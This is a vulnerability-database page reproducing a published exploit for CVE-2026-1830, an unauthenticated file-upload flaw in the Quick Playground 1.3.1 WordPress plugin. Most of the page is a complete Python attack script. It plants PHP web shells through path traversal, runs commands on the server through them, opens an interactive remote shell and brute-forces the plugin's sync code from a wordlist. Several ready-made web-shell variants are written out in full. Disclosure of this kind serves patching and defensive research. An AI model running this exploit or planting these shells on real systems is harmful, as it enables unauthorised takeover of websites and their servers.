Lucene search
+L

๐Ÿ“„ Quick Playground for WordPress 1.3.1 Shell Upload

๐Ÿ—“๏ธย 09 Jun 2026ย 00:00:00Reported byย indoushkaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 123ย Views

Unauthenticated file upload leads to remote code execution in WordPress Quick Playground 1.3.1 (CVE-2026-1830).

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-1830
9 Apr 202603:25
โ€“attackerkb
circl
Circl
CVE-2026-1830
8 Apr 202620:16
โ€“circl
cnnvd
CNNVD
WordPress plugin Quick Playground ๅฎ‰ๅ…จๆผๆดž
9 Apr 202600:00
โ€“cnnvd
cve
CVE
CVE-2026-1830
9 Apr 202603:25
โ€“cve
cvelist
Cvelist
CVE-2026-1830 Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload
9 Apr 202603:25
โ€“cvelist
exploitdb
Exploit DB
Quick Playground for WordPress 1.3.1 - Unauthenticated Remote Code Execution
29 May 202600:00
โ€“exploitdb
euvd
EUVD
EUVD-2026-20843
9 Apr 202606:30
โ€“euvd
nuclei
Nuclei
Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload
13 Aug 202604:34
โ€“nuclei
nvd
NVD
CVE-2026-1830
9 Apr 202605:16
โ€“nvd
packetstorm
Packet Storm
๐Ÿ“„ WordPress Quick Playground 1.3.1 Shell Upload
29 May 202600:00
โ€“packetstorm
Rows per page
==================================================================================================================================
    | # Title     : Quick Playground for WordPress 1.3.1 โ€” Unauthenticated File Upload to Remote Code Execution                      |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://downloads.wordpress.org/plugin/quick-playground.1.3.1.zip                                                |
    ==================================================================================================================================
    
    [+] Summary    : This script is a fully exploitation utility targeting an alleged unauthenticated file upload vulnerability in a WordPress plugin. 
    
    [+] POC        :  
    
    
    #!/usr/bin/env python3
    
    import requests
    import base64
    import random
    import string
    import re
    import sys
    import argparse
    import time
    
    BANNER = """
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘  Quick Playground WP 1.3.1 - Unauthenticated RCE              โ•‘
    โ•‘  CVE: CVE-2026-1830                                           โ•‘
    โ•‘  Author: indoushka                                            โ•‘
    โ•‘  Type: File Upload -> Remote Code Execution                   โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    """
    DEFAULT_TARGET = "http://localhost:8080"
    DEFAULT_SYNC_CODE = "exploit123"
    DEFAULT_PROFILE = "default"
    
    class QuickPlaygroundExploit:
        def __init__(self, target, sync_code, profile="default", verbose=False):
            self.target = target.rstrip('/')
            self.sync_code = sync_code
            self.profile = profile
            self.verbose = verbose
            self.session = requests.Session()
            self.session.headers.update({
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                "Content-Type": "application/json",
                "Accept": "application/json"
            })
            self.uploaded_shell = None
            self.shell_url = None
        
        def log(self, msg, level="INFO"):
            """Print messages with appropriate formatting"""
            colors = {
                "INFO": "\033[94m[*]\033[0m",     
                "SUCCESS": "\033[92m[+]\033[0m",  
                "ERROR": "\033[91m[-]\033[0m",  
                "WARNING": "\033[93m[!]\033[0m"  
            }
            prefix = colors.get(level, "[*]")
            print(f"{prefix} {msg}")
            if self.verbose and level == "INFO":
                pass 
        
        def generate_filename(self, extension="php"):
            """Generate a random filename"""
            name = ''.join(random.choices(string.ascii_lowercase, k=8))
            return f"{name}.{extension}"
        
        def get_webshell_content(self, shell_type="simple"):
            """Creating Web Shell Content"""
            if shell_type == "simple":
                return b'''<?php
    if(isset($_REQUEST['cmd'])) {
        echo "<pre>";
        system($_REQUEST['cmd']);
        echo "</pre>";
    }
    ?>'''
            elif shell_type == "advanced":
                return b'''<?php
    $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : (isset($_POST['cmd']) ? $_POST['cmd'] : '');
    if($cmd) {
        echo "<pre>";
        system($cmd . " 2>&1");
        echo "</pre>";
    }
    if(isset($_FILES['file'])) {
        move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
        echo "Uploaded: " . $_FILES['file']['name'];
    }
    ?>'''
            elif shell_type == "minimal":
                return b'<?=system($_GET["cmd"]);?>'
            else:
                return b'<?php system($_GET["cmd"]); ?>'
        
        def upload_shell(self, filename=None, shell_type="simple"):
            """Uploading the Web Shell to the server"""
            if filename is None:
                filename = self.generate_filename()
            
            shell_content = self.get_webshell_content(shell_type)
            shell_b64 = base64.b64encode(shell_content).decode()
    
            traversal = "../../../"
            full_path = f"{traversal}{filename}"
            
            payload = {
                "sync_code": self.sync_code,
                "filename": full_path,
                "base64": shell_b64
            }
            
            url = f"{self.target}/wp-json/quickplayground/v1/upload_image/{self.profile}"
            
            self.log(f"Uploading the shell to: {full_path}")
            self.log(f"Shell type: {shell_type}")
            
            try:
                response = self.session.post(url, json=payload, timeout=15)
                
                if response.status_code == 200:
                    try:
                        data = response.json()
                        msg = data.get("message", "")
                        
                        if "saving to" in msg.lower():
                            self.log("The file was uploaded successfully!", "SUCCESS")
                            self.uploaded_shell = filename
                            self.shell_url = f"{self.target}/{filename}"
                            return True
                        else:
                            self.log(f"Lifting failed: {msg}", "ERROR")
                            return False
                    except:
                        self.log("Unexpected response from the server", "ERROR")
                        return False
                else:
                    self.log(f"Response error: {response.status_code}", "ERROR")
                    return False
                    
            except requests.exceptions.RequestException as e:
                self.log(f"Connection error: {e}", "ERROR")
                return False
        
        def execute_command(self, cmd):
            """Executing an order via Web Shell"""
            if not self.shell_url:
                self.log("Shell has not yet been lifted!", "ERROR")
                return None
            
            try:
                response = self.session.get(self.shell_url, params={"cmd": cmd}, timeout=10)
                
                if response.status_code == 200:
    
                    match = re.search(r"<pre>(.*?)</pre>", response.text, re.DOTALL)
                    if match:
                        return match.group(1).strip()
                    else:
                        return response.text.strip()
                else:
                    self.log(f"Error in executing the command: {response.status_code}", "ERROR")
                    return None
                    
            except requests.exceptions.RequestException as e:
                self.log(f"Connection error: {e}", "ERROR")
                return None
        
        def test_vulnerability(self):
            """Testing for vulnerability without uploading a file"""
            self.log("Vulnerability testing...")
    
            test_content = b"<?php echo 'test'; ?>"
            test_b64 = base64.b64encode(test_content).decode()
            
            payload = {
                "sync_code": self.sync_code,
                "filename": "../../../test_vuln.txt",
                "base64": test_b64
            }
            
            url = f"{self.target}/wp-json/quickplayground/v1/upload_image/{self.profile}"
            
            try:
                response = self.session.post(url, json=payload, timeout=15)
                if response.status_code == 200:
                    self.log("There is a loophole! (Request accepted)", "SUCCESS")
                    return True
                else:
                    self.log("The vulnerability does not exist or the sync_code is incorrect.", "ERROR")
                    return False
            except:
                self.log("Target connection failed", "ERROR")
                return False
        
        def interactive_shell(self):
            """Interactive shell mode"""
            self.log("Entering interactive mode... Type 'exit' to exit", "SUCCESS")
            print("\n" + "=" * 50)
    
            self.log("System Information:")
            uname = self.execute_command("uname -a")
            if uname:
                print(f"Operating system: {uname}")
            
            whoami = self.execute_command("whoami")
            if whoami:
                print(f"  user: {whoami}")
            
            pwd = self.execute_command("pwd")
            if pwd:
                print(f"  Current path: {pwd}")
            
            print("\n" + "=" * 50)
            print("Interactive mode is ready!\n")
            
            while True:
                try:
                    cmd = input("\033[92mShell>\033[0m ").strip()
                    
                    if cmd.lower() == "exit":
                        self.log("Session adjourned...", "WARNING")
                        break
                    
                    if not cmd:
                        continue
    
                    if cmd.lower() == "clear":
                        print("\033c", end="")
                        continue
                    
                    if cmd.lower() == "help":
                        print("""
    Available commands:
    
    help - Display this help
    clear - Clear the screen
    upload - Upload a file (will be executed later)
    exit - Exit the shell
                        """)
                        continue
                    
                    result = self.execute_command(cmd)
                    if result:
                        print(result)
                    else:
                        print("[!]No output was obtained or an error occurred.")
                        
                except KeyboardInterrupt:
                    print("\n[!] Use 'exit' to exit")
                except EOFError:
                    break
    
    def brute_sync_code(target, wordlist_path):
        """Trying to guess sync_code from a dictionary"""
        print(f"[*] Attempting to guess sync_code using: {wordlist_path}")
        
        try:
            with open(wordlist_path, 'r') as f:
                codes = [line.strip() for line in f if line.strip()]
        except:
            print("[-] The dictionary file cannot be read.")
            return None
        
        test_payload = {"sync_code": "", "filename": "test.txt", "base64": "dGVzdA=="}
        url = f"{target}/wp-json/quickplayground/v1/upload_image/default"
        
        for code in codes:
            test_payload["sync_code"] = code
            try:
                r = requests.post(url, json=test_payload, timeout=5)
                if r.status_code == 200:
                    data = r.json()
                    if "saving to" in data.get("message", "").lower():
                        print(f"[+] ุชู… ุงู„ุนุซูˆุฑ ุนู„ู‰ sync_code: {code}")
                        return code
            except:
                continue
            
            print(f"[-] to fail: {code}", end="\r") 
            print("\n[-]No valid sync_code was found")
    		
        return None
    
    def main():
        parser = argparse.ArgumentParser(description="Quick Playground WordPress Plugin RCE Exploit")
        parser.add_argument("-u", "--url", default=DEFAULT_TARGET, help=f"Target (default): {DEFAULT_TARGET})")
        parser.add_argument("-c", "--code", default=DEFAULT_SYNC_CODE, help=f"Sync icon sync_code (hypothetical: {DEFAULT_SYNC_CODE})")
        parser.add_argument("-p", "--profile", default=DEFAULT_PROFILE, help=f"Profile (hypothetical: {DEFAULT_PROFILE})")
        parser.add_argument("-f", "--filename", help="Shell file name (random by default)")
        parser.add_argument("-t", "--shell-type", choices=["simple", "advanced", "minimal"], default="simple", help="type Web Shell")
        parser.add_argument("--cmd", help="Execute one command and then exit")
        parser.add_argument("--interactive", action="store_true", help="Interactive shell mode")
        parser.add_argument("--test", action="store_true", help="Testing for the existence of the vulnerability only")
        parser.add_argument("--brute", help="Trying to guess sync_code (Requires a dictionary file)")
        parser.add_argument("-v", "--verbose", action="store_true", help="View additional details")
        
        args = parser.parse_args()
        
        print(BANNER)
    
        if args.brute:
            found_code = brute_sync_code(args.url, args.brute)
            if found_code:
                print(f"\n[+] use: python3 {sys.argv[0]} -u {args.url} -c {found_code}")
            return
        exploit = QuickPlaygroundExploit(args.url, args.code, args.profile, args.verbose)
    
        if args.test:
            exploit.test_vulnerability()
            return
    
        if args.cmd:
            if exploit.upload_shell(args.filename, args.shell_type):
                result = exploit.execute_command(args.cmd)
                if result:
                    print(result)
            return
    
        if args.interactive:
            if exploit.upload_shell(args.filename, args.shell_type):
                exploit.interactive_shell()
            return
    
        if exploit.upload_shell(args.filename, args.shell_type):
            print(f"\n[+] Web Shell ready: {exploit.shell_url}?cmd=command")
            print("\n[*] Experimental information:")
            id_result = exploit.execute_command("id")
            if id_result:
                print(f"  user: {id_result}")
            
            print("\n[*] To enter interactive mode, use --interactive")
            print("[*] example: python3 exploit.py -u {} -c {} --interactive".format(args.url, args.code))
    
    
    if __name__ == "__main__":
        main()
    	
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Jun 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.19.8
EPSS0.07713
SSVC
123